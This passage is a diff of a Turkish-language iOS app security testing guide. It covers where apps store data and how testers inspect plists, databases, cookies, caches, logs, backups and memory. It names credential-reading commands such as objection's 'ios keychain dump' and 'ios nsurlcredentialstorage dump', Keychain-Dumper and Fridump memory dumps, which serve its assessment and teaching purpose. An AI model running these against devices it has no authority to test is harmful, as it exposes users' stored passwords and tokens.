|
||||
- Kullanıcı tarafından oluşturulan tüm verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır.
|
||||
- Kullanıcılara görünür ve **kullanıcılar buraya yazabilir**.
|
||||
- Bu dizindeki içerik **yedeklenir**.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir.
|
||||
- **Library/**
|
||||
@ -244,17 +244,17 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
|
||||
- **Library/Caches/**
|
||||
- **Yarı kalıcı önbellek dosyalarını** içerir.
|
||||
- Kullanıcılara görünmez ve **kullanıcılar buna yazamaz**.
|
||||
- Kullanıcılara görünmez ve **kullanıcılar buraya yazamaz**.
|
||||
- Bu dizindeki içerik **yedeklenmez**.
|
||||
- OS, uygulama çalışmadığında ve depolama alanı azaldığında bu dizinin dosyalarını otomatik olarak silebilir.
|
||||
- **Library/Application Support/**
|
||||
- Uygulamanın çalışması için gerekli **kalıcı** **dosyaları** içerir.
|
||||
- **Kullanıcılara görünmez** ve kullanıcılar buna yazamaz.
|
||||
- **Kullanıcılara görünmez** ve kullanıcılar buraya yazamaz.
|
||||
- Bu dizindeki içerik **yedeklenir**.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir.
|
||||
- **Library/Preferences/**
|
||||
- Uygulama yeniden başlatılsa bile **kalıcı** olabilen özellikleri saklamak için kullanılır.
|
||||
- Bilgiler, şifrelenmemiş olarak, uygulama kumanda alanında \[BUNDLE_ID].plist adlı bir plist dosyasında saklanır.
|
||||
- Bilgiler, uygulama kumanda alanında, \[BUNDLE_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak kaydedilir.
|
||||
- `NSUserDefaults` kullanılarak saklanan tüm anahtar/değer çiftleri bu dosyada bulunabilir.
|
||||
- **tmp/**
|
||||
- Uygulama başlatmaları arasında kalıcı olması gerekmeyen **geçici dosyalar** yazmak için bu dizini kullanın.
|
||||
@ -263,7 +263,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Bu dizindeki içerik yedeklenmez.
|
||||
- OS, uygulama çalışmadığında ve depolama alanı azaldığında bu dizinin dosyalarını otomatik olarak silebilir.
|
||||
|
||||
iGoat-Swift'in Uygulama Paketi (.app) dizinine daha yakından bakalım (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Bundle dizini içindeki iGoat-Swift'in Uygulama Paketi (.app) dizinine daha yakından bakalım (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -277,7 +277,7 @@ Regular 420 None ... LICENSE.txt
|
||||
Regular 420 None ... Sentinel.txt
|
||||
Regular 420 None ... README.txt
|
||||
```
|
||||
### İkili Tersine Mühendislik
|
||||
### Binary Reversing
|
||||
|
||||
`<application-name>.app` klasörünün içinde `<application-name>` adında bir ikili dosya bulacaksınız. Bu, **çalıştırılacak** dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla gerçekleştirebilirsiniz:
|
||||
```bash
|
||||
@ -366,26 +366,26 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Bilgileri depolamak için aşağıdaki yerler **uygulama yüklendikten hemen sonra**, **uygulamanın tüm işlevleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkış yapıldıktan ve farklı bir kullanıcıya giriş yapıldıktan sonra** kontrol edilmelidir.\
|
||||
> Bilgileri depolamak için aşağıdaki yerler **uygulama yüklendikten hemen sonra**, **uygulamanın tüm işlevsellikleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkış yapıp farklı bir kullanıcıya giriş yaptıktan sonra** kontrol edilmelidir.\
|
||||
> Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve daha önce giriş yapmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır.
|
||||
|
||||
### Plist
|
||||
|
||||
**plist** dosyaları, **anahtar-değer çiftleri** içeren yapılandırılmış XML dosyalarıdır. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Uygulamayı yükledikten sonra ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmeniz önerilir.
|
||||
|
||||
plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, uygulama sandbox'ında **`Library/Preferences/<appBundleID>.plist`** içinde kaydedilir.
|
||||
Plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanımıdır. Bu plist dosyası, uygulama kumandası içinde **`Library/Preferences/<appBundleID>.plist`** konumunda kaydedilir.
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim kurmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihleri** doğrultusunda davranışını özelleştirmesine olanak tanır. `NSUserDefaults` ile kaydedilen veriler uygulama paketinde görüntülenebilir. Bu sınıf, **plist** **dosyasında** **veri** depolar, ancak küçük miktarlardaki verilerle kullanılmak üzere tasarlanmıştır.
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim kurmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihleri** doğrultusunda davranışını özelleştirmesine olanak tanır. `NSUserDefaults` ile kaydedilen veriler uygulama paketinde görüntülenebilir. Bu sınıf, **verileri** bir **plist** **dosyasında** saklar, ancak küçük miktarlardaki verilerle kullanılmak üzere tasarlanmıştır.
|
||||
|
||||
Bu verilere artık güvenilir bir bilgisayar aracılığıyla doğrudan erişilemez, ancak bir **yedekleme** yaparak erişilebilir.
|
||||
|
||||
**`NSUserDefaults`** kullanarak kaydedilen bilgileri **dump** edebilirsiniz, objection'ın `ios nsuserdefaults get` komutunu kullanarak.
|
||||
|
||||
Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` yoluna erişebilir ve çalıştırabilirsiniz:
|
||||
Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` konumuna erişebilir ve şunu çalıştırabilirsiniz:
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
**XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
|
||||
**XML veya ikili (bplist)** formatındaki dosyaları XML'ye dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:
|
||||
|
||||
**macOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu, macOS'ta (10.2+) bu amaç için tasarlanmış yerleşik bir araçtır:
|
||||
```bash
|
||||
@ -396,18 +396,18 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Bir Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut vardır:
|
||||
**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut vardır:
|
||||
```bash
|
||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depolama olarak SQLite kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\
|
||||
CoreData varsayılan olarak verilerini şifrelemez. Ancak, CoreData'ya ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data) adresine bakın.
|
||||
CoreData varsayılan olarak verilerini şifrelemez. Ancak, CoreData'ya ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data) sayfasına bakın.
|
||||
|
||||
Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz.
|
||||
|
||||
**Eğer SQLite'ı açabiliyor ve hassas bilgilere erişebiliyorsanız, o zaman bir yanlış yapılandırma bulmuşsunuz demektir.**
|
||||
**SQLite'ı açabiliyorsanız ve hassas bilgilere erişebiliyorsanız, o zaman bir yanlış yapılandırma bulmuşsunuz demektir.**
|
||||
```objectivec:Code from iGoat
|
||||
-(void)storeDetails {
|
||||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||||
@ -438,15 +438,15 @@ Yap veritabanları sqlite veritabanları olduğundan, önceki bölümde önerile
|
||||
|
||||
### Diğer SQLite Veritabanları
|
||||
|
||||
Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **hassas** **veri** **saklıyor** olabilirler ve bunu şifrelemeden bırakabilirler. Bu nedenle, her zaman uygulama dizinindeki her veritabanını kontrol etmek ilginçtir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı** **veri** **saklıyor** olabilirler ve bunu şifrelemeden bırakabilirler. Bu nedenle, her zaman uygulama dizinindeki her veritabanını kontrol etmek ilginçtir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase Gerçek Zamanlı Veritabanları
|
||||
|
||||
Geliştiriciler, Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyon** yapma yeteneğine sahiptir. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir.
|
||||
Geliştiriciler, Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolayıp senkronize etme** yeteneğine sahiptir. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilerle senkronize edilir.
|
||||
|
||||
Yanlış yapılandırılmış Firebase veritabanlarını nasıl kontrol edeceğinizi burada bulabilirsiniz:
|
||||
Yanlış yapılandırılmış Firebase veritabanlarını kontrol etmenin yolunu burada bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||||
@ -463,9 +463,9 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
|
||||
|
||||
$ find ./ -name "*.realm*"
|
||||
```
|
||||
Bu veritabanı dosyalarını görüntülemek için [**Realm Studio**](https://github.com/realm/realm-studio) aracının kullanılması önerilir.
|
||||
Bu veritabanı dosyalarını görüntülemek için, [**Realm Studio**](https://github.com/realm/realm-studio) aracının kullanılması önerilir.
|
||||
|
||||
Bir Realm veritabanında şifreleme uygulamak için aşağıdaki kod parçası kullanılabilir:
|
||||
Bir Realm veritabanında şifreleme uygulamak için, aşağıdaki kod parçası kullanılabilir:
|
||||
```swift
|
||||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||||
let config = Realm.Configuration(encryptionKey: getKey())
|
||||
@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
```
|
||||
### Çerezler
|
||||
|
||||
iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **anahtarlıkta** saklamayı tercih ederler çünkü bahsedilen **çerez dosyası yedeklerde erişilebilir**.
|
||||
iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **keychain** içinde saklamayı tercih ederler çünkü bahsedilen **çerez dosyası yedeklerde erişilebilir**.
|
||||
|
||||
Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
|
||||
**Bu dosyaları JSON formatına** dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz.
|
||||
@ -508,9 +508,9 @@ iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/
|
||||
```
|
||||
### Cache
|
||||
|
||||
Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/<UUID>`) ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu bir **normal SQLite veritabanıdır**.
|
||||
Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/<UUID>`) ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu n**ormal bir SQLite veritabanıdır**.
|
||||
|
||||
Bu verilerin önbelleğe alınmasını **devre dışı bırakmanız önerilir**, çünkü istek veya yanıt içinde hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
|
||||
Bu verilerin önbelleğe alınmasını **devre dışı bırakmanız önerilir**, çünkü istek veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
|
||||
|
||||
1. Çıkış yaptıktan sonra Önbelleğe alınmış yanıtların kaldırılması önerilir. Bu, Apple tarafından sağlanan [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) yöntemi ile yapılabilir. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
|
||||
|
||||
@ -528,11 +528,11 @@ Bu yöntem, Cache.db dosyasından tüm önbelleğe alınmış istekleri ve yanı
|
||||
|
||||
### Snapshots
|
||||
|
||||
Ana düğmeye her bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** böylece uygulamaya geçiş çok daha akıcı bir şekilde yapılabilir. Ancak, eğer mevcut ekranda **hassas** **veri** varsa, bu **görüntüde** **kaydedilir** (bu **yeniden başlatmalarda** **sürdürülür**). Bunlar, uygulamalar arasında geçiş yapmak için ana ekranı çift tıklayarak erişebileceğiniz anlık görüntülerdir.
|
||||
Ana düğmeye her bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** böylece uygulamaya geçiş çok daha akıcı bir şekilde yapılabilir. Ancak, eğer mevcut ekranda **hassas** **veri** varsa, bu **görüntüye** **kaydedilir** (bu **yeniden başlatmalarda** **sürdürülür**). Bunlar, uygulamalar arasında geçiş yapmak için ana ekranı çift tıklayarak erişebileceğiniz anlık görüntülerdir.
|
||||
|
||||
iPhone jailbreak edilmedikçe, **saldırganın** bu ekran görüntülerini görebilmesi için **cihaza** **erişimi** **açık** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe depolanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
|
||||
iPhone jailbreak edilmedikçe, **saldırganın** bu ekran görüntülerini görebilmesi için **cihaza** **erişimi** **açık** olması gerekir. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe depolanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
|
||||
|
||||
Bu kötü davranışı önlemenin bir yolu, anlık görüntü alınmadan önce boş bir ekran koymak veya hassas verileri kaldırmaktır; bu, `ApplicationDidEnterBackground()` fonksiyonu kullanılarak yapılabilir.
|
||||
Bu kötü davranışı önlemenin bir yolu, `ApplicationDidEnterBackground()` fonksiyonunu kullanarak anlık görüntü almadan önce boş bir ekran koymak veya hassas verileri kaldırmaktır.
|
||||
|
||||
Aşağıda, varsayılan bir ekran görüntüsü ayarlayacak bir örnek düzeltme yöntemi bulunmaktadır.
|
||||
|
||||
@ -570,7 +570,7 @@ Bu, uygulama arka plana alındığında arka plan resmini `overlayImage.png` ola
|
||||
|
||||
### Anahtar Zinciri
|
||||
|
||||
iOS anahtar zincirine erişim ve yönetim için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar.
|
||||
iOS anahtar zincirine erişim ve yönetim için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) komutunu `ios keychain dump` sağlar.
|
||||
|
||||
#### **Kimlik Bilgilerini Saklama**
|
||||
|
||||
@ -584,17 +584,17 @@ Bu saklanan kimlik bilgilerini çıkarmak için, Objection'ın `ios nsurlcredent
|
||||
|
||||
## **Özel Klavyeler ve Klavye Önbelleği**
|
||||
|
||||
iOS 8.0 ve sonrası ile birlikte, kullanıcılar **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilir. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşlarını kaydetme ve verileri harici sunuculara iletme riski taşır; ancak kullanıcılar, ağ erişimi gerektiren klavyeler hakkında bilgilendirilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır.
|
||||
iOS 8.0 ve sonrasında, kullanıcılar **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilir. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşlarını kaydetme ve verileri harici sunuculara iletme riski taşır; ancak kullanıcılar, ağ erişimi gerektiren klavyeler hakkında bilgilendirilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır.
|
||||
|
||||
**Güvenlik Önerileri:**
|
||||
|
||||
- Gelişmiş güvenlik için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
|
||||
- Varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerinin, `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda hassas bilgileri önbellek dosyalarında saklayabileceğini unutmayın. Bu önbellek dosyaları, hassas veriler için düzenli olarak kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** yoluyla klavye sözlüğünün sıfırlanması önerilir.
|
||||
- Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
|
||||
- Varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerinin, `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda hassas bilgileri önbellek dosyalarında saklayabileceğini unutmayın. Bu önbellek dosyaları, hassas veriler için düzenli olarak kontrol edilmelidir. Önbelleğe alınmış verileri temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** yoluyla klavye sözlüğünün sıfırlanması önerilir.
|
||||
- Ağ trafiğini yakalamak, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletmediğini ortaya çıkarabilir.
|
||||
|
||||
### **Metin Alanı Önbelleklemesini Önleme**
|
||||
|
||||
[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), hassas bilgilerin önbelleğe alınmasını önlemek için otomatik düzeltme ve güvenli metin girişi yönetimi için gerekli özellikler sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakmak ve güvenli metin girişini etkinleştirmek şu şekilde yapılabilir:
|
||||
[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), hassas bilgi önbelleklemesini önlemek için otomatik düzeltme ve güvenli metin girişi yönetimi için gerekli özellikler sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakmak ve güvenli metin girişini etkinleştirmek şu şekilde yapılabilir:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
@ -606,7 +606,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Loglar**
|
||||
|
||||
Kod hata ayıklama genellikle **loglama** kullanımını içerir. **Loglar hassas bilgileri içerebilir** ve bu bir risk taşır. Daha önce, iOS 6 ve önceki sürümlerde, loglar tüm uygulamalara erişilebilir durumdaydı ve bu da hassas veri sızıntısı riski oluşturuyordu. **Artık uygulamalar yalnızca kendi loglarına erişimle sınırlıdır**.
|
||||
Kod hata ayıklama genellikle **loglama** kullanımını içerir. **Logların hassas bilgiler içerebileceği** riski vardır. Daha önce, iOS 6 ve önceki sürümlerde, loglar tüm uygulamalara erişilebilir durumdaydı ve bu da hassas veri sızıntısı riski oluşturuyordu. **Artık uygulamalar yalnızca kendi loglarına erişimle sınırlıdır**.
|
||||
|
||||
Bu kısıtlamalara rağmen, **açık bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak ve **logları okuyarak** bunu istismar edebilir. Logların, uygulamanın kaldırılmasından sonra bile diskte kalmaya devam ettiğini belirtmek önemlidir.
|
||||
|
||||
@ -616,7 +616,7 @@ Uygulamanın kaynak kodunu potansiyel sızıntılar için incelerken, `NSLog`, `
|
||||
|
||||
### **Sistem Loglarını İzleme**
|
||||
|
||||
Uygulamalar, hassas olabilecek çeşitli bilgileri loglar. Bu logları izlemek için, şu araçlar ve komutlar gibi:
|
||||
Uygulamalar, hassas olabilecek çeşitli bilgileri loglar. Bu logları izlemek için, aşağıdaki gibi araçlar ve komutlar kullanılır:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
@ -638,11 +638,11 @@ Log aktivitelerini gözlemlemek için komutlar, sorunları teşhis etmek veya lo
|
||||
|
||||
## Yedeklemeler
|
||||
|
||||
**Otomatik yedekleme özellikleri**, iOS'a entegre edilmiştir ve iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler, Apple Pay detayları ve Touch ID yapılandırmaları gibi son derece hassas unsurlar hariç, neredeyse tüm cihaz verilerini kapsar.
|
||||
**Otomatik yedekleme özellikleri**, iOS'a entegre edilmiştir ve cihaz veri kopyalarının iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla oluşturulmasını kolaylaştırır. Bu yedeklemeler, Apple Pay detayları ve Touch ID yapılandırmaları gibi son derece hassas unsurlar hariç, neredeyse tüm cihaz verilerini kapsar.
|
||||
|
||||
### Güvenlik Riskleri
|
||||
|
||||
**Yedeklemelerdeki yüklü uygulamalar ve verileri** dahil edilmesi, potansiyel **veri sızıntısı** ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirme riski** sorununu gündeme getirir. Bu riskleri azaltmak için, herhangi bir uygulamanın dizininde veya alt dizinlerinde hassas bilgilerin **düz metin olarak saklanmaması** önerilir.
|
||||
Yedeklemelere **kurulu uygulamalar ve bunların verilerinin** dahil edilmesi, potansiyel **veri sızıntısı** ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirme riski** sorununu gündeme getirir. Bu riskleri azaltmak için, herhangi bir uygulamanın dizininde veya alt dizinlerinde hassas bilgilerin düz metin olarak saklanmaması önerilir.
|
||||
|
||||
### Yedeklemelerden Dosyaları Hariç Tutma
|
||||
|
||||
@ -650,9 +650,9 @@ Log aktivitelerini gözlemlemek için komutlar, sorunları teşhis etmek veya lo
|
||||
|
||||
### Açıklar için Test Etme
|
||||
|
||||
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgeleri](https://support.apple.com/en-us/HT204215) rehberliğinde yedeği bulun. Uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin.
|
||||
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) yardım alarak yedeği bulun. Uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin.
|
||||
|
||||
Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanarak ulaşılabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökündeki "Manifest.plist" dosyasındaki "IsEncrypted" anahtarı kontrol edilerek doğrulanabilir.
|
||||
Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanarak ulaşılabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökündeki "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -673,11 +673,11 @@ Yedekleme değişiklikleri yoluyla uygulama davranışını değiştirme örneğ
|
||||
|
||||
## Hassas Veriler için Bellek Testi Özeti
|
||||
|
||||
Bir uygulamanın belleğinde saklanan hassas bilgilerle ilgilenirken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki ana yaklaşım vardır: **bir bellek dökümü oluşturmak** ve **belleği gerçek zamanlı olarak analiz etmek**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verilerin kaçırılma potansiyeli gibi zorlukları vardır.
|
||||
Bir uygulamanın belleğinde saklanan hassas bilgilerle ilgilenirken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki ana yaklaşım vardır: **bir bellek dökümü oluşturmak** ve **belleği gerçek zamanlı olarak analiz etmek**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verileri kaçırma potansiyeli gibi zorlukları vardır.
|
||||
|
||||
## **Bir Bellek Dökümünü Alma ve Analiz Etme**
|
||||
|
||||
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar, bir uygulamanın işlem belleğini dökme imkanı sunar. Döküm alındıktan sonra, bu verilerin analizi, aradığınız bilginin niteliğine bağlı olarak çeşitli araçlar gerektirir.
|
||||
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar, bir uygulamanın işlem belleğini dökme imkanı sunar. Döküm alındıktan sonra, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
|
||||
|
||||
Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir:
|
||||
```bash
|
||||
@ -687,7 +687,7 @@ $ strings memory > strings.txt
|
||||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
Daha ayrıntılı analiz için, belirli veri türlerini veya desenlerini arama dahil, **radare2** kapsamlı arama yetenekleri sunar:
|
||||
Daha ayrıntılı analiz için, belirli veri türlerini veya desenlerini aramak da dahil olmak üzere, **radare2** geniş arama yetenekleri sunar:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
@ -704,17 +704,17 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Zayıf Anahtar Yönetim Süreçleri
|
||||
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
|
||||
